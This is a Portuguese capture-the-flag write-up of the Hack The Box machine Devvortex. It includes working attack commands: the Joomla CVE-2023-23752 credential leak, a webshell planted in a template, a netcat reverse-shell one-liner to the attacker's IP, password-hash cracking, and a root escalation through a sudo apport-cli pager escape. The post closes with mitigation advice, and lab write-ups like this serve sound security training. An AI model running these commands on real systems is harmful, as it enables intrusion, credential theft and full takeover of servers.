0xEtern4lW0lf
Hack The BoxEasyLinux

Devvortex

5 min de leitura
#Joomla#RCE#Sudo

Introdução

Este é o writeup da máquina Devvortex, da plataforma Hack The Box, uma máquina Linux classificada como Easy. IP alvo: 10.10.11.242

Escaneamento

O primeiro passo é escanear a máquina em busca de portas e serviços abertos, utilizando o nmap: primeiro uma varredura rápida em todas as portas TCP e, em seguida, uma varredura detalhada (-A) apenas nas portas encontradas.

ports=$(sudo nmap --open -p- -Pn --min-rate=1000 -T4 10.10.11.242 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -Pn -A -p $ports 10.10.11.242

O nmap revela duas portas relevantes abertas: 22 (SSH) e 80 (HTTP).

Enumeração

Porta 80

http://devvortex.htb/

Fuzzing de diretórios e subdomínios

Com o gobuster, foi feito fuzzing de diretórios no host principal. O resultado mais relevante, porém, veio da enumeração de subdomínios (adicionando devvortex.htb ao /etc/hosts e testando variações de Host), que revelou um subdomínio de desenvolvimento hospedando uma instância do Joomla:

gobuster dir -u http://devvortex.htb -w /usr/share/wordlists/dirb/big.txt -t 100 --delay 1s -e --no-error -r -x php,html 

http://dev.devvortex.htb/ O arquivo robots.txt do Joomla expõe caminhos internos do CMS, incluindo o diretório /administrator/, referente ao painel de administração: http://dev.devvortex.htb/robots.txt A tela de login do painel administrativo confirma o CMS Joomla em uso: http://dev.devvortex.htb/administrator/index.php O arquivo README.txt do Joomla confirma a versão instalada, compatível com a faixa vulnerável (4.0.0 a 4.2.7) à CVE-2023-23752, uma falha de bypass de controle de acesso na API REST do Joomla: http://dev.devvortex.htb/README.txt Para confirmar os detalhes técnicos da falha, foi consultado o artigo abaixo, que descreve como endpoints da API REST do Joomla expostos sem autenticação permitem a extração de credenciais de banco de dados/backend — exatamente a CVE-2023-23752: https://vulncheck.com/blog/joomla-for-rce Explorando a CVE-2023-23752 na API do Joomla, foram extraídas credenciais em texto plano do usuário lewis:

lewis:P4ntherg0t1n5r3c0n##

Reutilizando essas credenciais no painel administrativo do Joomla (/administrator), o login foi bem-sucedido, concedendo acesso total ao painel de administração: http://dev.devvortex.htb/administrator/index.php?option=com_cpanel&view=cpanel&dashboard=system Com acesso de administrador, o próximo passo é abusar da funcionalidade de edição de templates do Joomla para obter execução remota de código (RCE), acessando o editor de templates: http://dev.devvortex.htb/administrator/index.php?option=com_templates&view=templates&client_id=0 Foi selecionado o template ativo (cassiopeia) e o arquivo error.php, editável diretamente pelo painel, para inserir um webshell PHP simples que executa comandos via o parâmetro cmd: http://dev.devvortex.htb/administrator/index.php?option=com_templates&view=template&id=223&file=L2Nhc3Npb3BlaWEvZXJyb3IucGhw&isMedia=0 Após salvar o template malicioso, o webshell foi testado com um comando simples para confirmar a execução de código no servidor:

curl http://dev.devvortex.htb/templates/cassiopeia/error.php?cmd=id

Exploração

Aplicação vulnerável: Joomla CMS, no subdomínio dev.devvortex.htb. Falha explorada: CVE-2023-23752 — exposição de credenciais via API do Joomla, usada para obter as credenciais do usuário lewis e efetuar login no painel administrativo. A partir daí, o RCE foi obtido por meio da edição maliciosa do template PHP error.php, transformado em webshell. Com o webshell confirmado, o passo seguinte é obter uma shell reversa completa:

curl "http://dev.devvortex.htb/templates/cassiopeia/error.php?cmd=rm+/tmp/f%3b+mkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|/usr/bin/nc+10.10.14.11+443+>/tmp/f"

Pós-Exploração

A shell reversa recebida é limitada (sem TTY interativo). O comando abaixo a estabiliza:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Escalonamento para o usuário logan

A aplicação Joomla roda como o usuário www-data. No arquivo de configuração do Joomla (configuration.php) foram encontradas as mesmas credenciais de banco de dados do usuário lewis já obtidas anteriormente, permitindo acesso direto ao MySQL:

mysql -u lewis -p"P4ntherg0t1n5r3c0n##"

Na tabela de usuários do Joomla, dentro do banco de dados, foi encontrado o hash da senha do usuário logan. O hash foi extraído para um arquivo (hash-logan) e quebrado com o john:

john hash-logan --wordlist=/usr/share/wordlists/rockyou.txt

A senha foi quebrada com sucesso (tequieromucho), permitindo o acesso via SSH com o usuário logan:

ssh logan@10.10.11.242
tequieromucho

Escalonamento para root

Com acesso ao usuário logan, o próximo passo é verificar as permissões de sudo:

sudo -l

O sudo -l mostra que logan pode executar apport-cli como root sem senha. O apport-cli invoca um pager (less) para exibir determinados relatórios, e o less permite executar comandos de shell através do caractere !. Essa é a técnica de escalonamento usada:

sudo apport-cli -c /bin/mysql less
V
!bash

O comando V abre o relatório no pager configurado (less), e !bash executa uma shell dentro do less herdando os privilégios de root, resultando em uma shell root completa.

Anexos

Para consolidar e automatizar todo o processo de exploração descrito acima — desde a extração de credenciais via CVE-2023-23752 até a obtenção da shell através do webshell inserido no template — foi desenvolvido o seguinte script em Python: sau-getshell.py

Mitigação

Para evitar que essa cadeia de ataque seja explorada em um ambiente real, recomenda-se:

  • Atualizar o Joomla para uma versão corrigida (4.2.8 ou superior), eliminando a exposição de credenciais via API descrita na CVE-2023-23752.
  • Remover ou rotacionar credenciais expostas, garantindo que arquivos de configuração (como configuration.php) e endpoints de API não vazem informações sensíveis de banco de dados.
  • Restringir o acesso ao painel administrativo (/administrator) por IP ou VPN, e habilitar autenticação multifator para contas administrativas.
  • Aplicar o princípio do menor privilégio no ****sudoers, evitando conceder execução irrestrita de utilitários como apport-cli que possibilitam fuga de shell via pager (less); usar NOPASSWD apenas quando estritamente necessário.
  • Manter o sistema operacional atualizado, corrigindo vulnerabilidades conhecidas em pacotes como apport/apport-cli que permitem escalonamento local de privilégios.
  • Monitorar logs de autenticação e de acesso ao painel administrativo para detectar tentativas de login suspeitas.